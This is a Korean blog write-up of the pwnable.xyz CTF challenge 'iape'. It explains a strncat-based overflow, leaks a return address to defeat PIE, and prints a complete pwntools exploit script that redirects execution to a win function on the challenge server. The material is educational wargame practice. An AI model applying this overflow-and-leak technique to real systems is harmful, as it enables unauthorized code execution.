상세 컨텐츠

본문 제목

[Pwnable.xyz] iape

SYSTEM HACKING/pwnable.xyz

by koharin 2020. 3. 25. 18:44

본문

728x90
반응형

# checksec

 


# menu

 

메뉴 1 :

Fgets(&s, 0x80, stdin)

0x80만큼 표준입력(stdin, 전역변수 0x202020)받은 값을 s 변수[rbp-400h]에 저장한다.

 

메뉴 2 :

append(&s) a1은 변수 s에 대한 포인터 값.

#include <string.h>

char *strncat(char *string1, const char *string2, size_t count);

 

strncat(a1, &buf, (signed int)v3) : buf의 처음 v3자를 a1에 추가하고 널 문자(\0)로 결과 스트링을 종료한다. V3buf의 길이보다 크면 v3 대신 buf의 길이만큼 a1에 추가하고 널 문자로 종료한다.

 

메뉴 3 :

변수 s에 저장된 메시지 값 출력


# process

 

 

값을 넣고 3번 메뉴 후에 디버깅으로 확인해보면 값이 들어있고, s의 크기가 0x3f8(1016)이므로 더 내려가면 SFPreturn address가 나온다.

따라서 2번 메뉴에서 0x3f8+8만큼 s를 채운 후 1바이트를 더 주면 return address leak을 할 수 있고, 0x557702b39000과의 offset으로 pie base를 구할 수 있다.

Pie base를 구하고 나면 pie base + winreturn address에 넣으면 될 것이다.

 

 

1. pie leak

 

append함수를 2번 메뉴로 call한 후 디버깅으로 rbp-0x20을 출력해봤을 때 +8 위치에 코드 주소가 적혀있다. 따라서 rand0~15 범위로 바뀌는데 14바이트를 입력할 수 있으면 8바이트를 입력하면 strncat으로 buf변수값이 14바이트가 s에 붙여지므로 (왜냐하면 strncat 특성상 buf의 처음 14바이트를 s에 붙이므로)

 

Rbp-0x18 위치에 read_int32+64의 코드 주소가 들어있어서 14 또는 15 바이트를 출력하도록 하면 이 주소를 leak해서 pie base를 구할 수 있다.

 

 

Offset0xbc2이다.

 

 

2. return address -> win

 

paylaod = 'B'*(0x408-size) + p64(win)

으로 두고, strncat으로 붙여나가면서 payload를 끊어서 전달하면 된다.

 

Payload를 계산해보니 길이가 0x408-size + 8 = 1026이라서 1026보다 같거나 커지면 break하게 했더니 플래그가 따졌다.


# exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30014)

global size
while(1):
    p.sendafter("> ", '2')
    p.recvuntil("Give me ")
    size = int(p.recvuntil(" "))
    if size >= 14:
        p.sendafter(": ", 'A'*8)
        p.sendafter("> ", '3')
        p.recvuntil('A'*8)
        ret = u64(p.recv(6)+"\x00\x00")
        pie = ret - 0xbc2
        log.info("ret : "+hex(ret))
        log.info("pie : "+hex(pie))
        break
    else:
        continue

win = pie + 0xb57

pay = 'B'*(0x408-size) + p64(win)
begin = 0

while(1):
    p.sendafter("> ", '2')
    p.recvuntil("Give me ")
    size2 = int(p.recvuntil(" "))
    end = begin + size2
    if size2 == 0: 
        continue
    p.sendafter(": ", pay[begin:end])
    begin = end
    print end
    if end >= 1026:
        break

p.sendafter("> ", '0')

p.interactive()

 

# exploit

 


익스코드를 돌릴 때 pie leak 시 rand 값이 14바이트 이상이어야 가능한 것 빼고는 return address->win은 잘 됐다.

 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] executioner v2  (0) 2020.04.20
[Pwnable.xyz] rwsr  (0) 2020.03.25
[pwnable.xyz] catalog  (0) 2020.03.09
[pwnable.xyz] message  (0) 2020.02.28
[pwnable.xyz] badayum  (0) 2020.02.28

관련글 더보기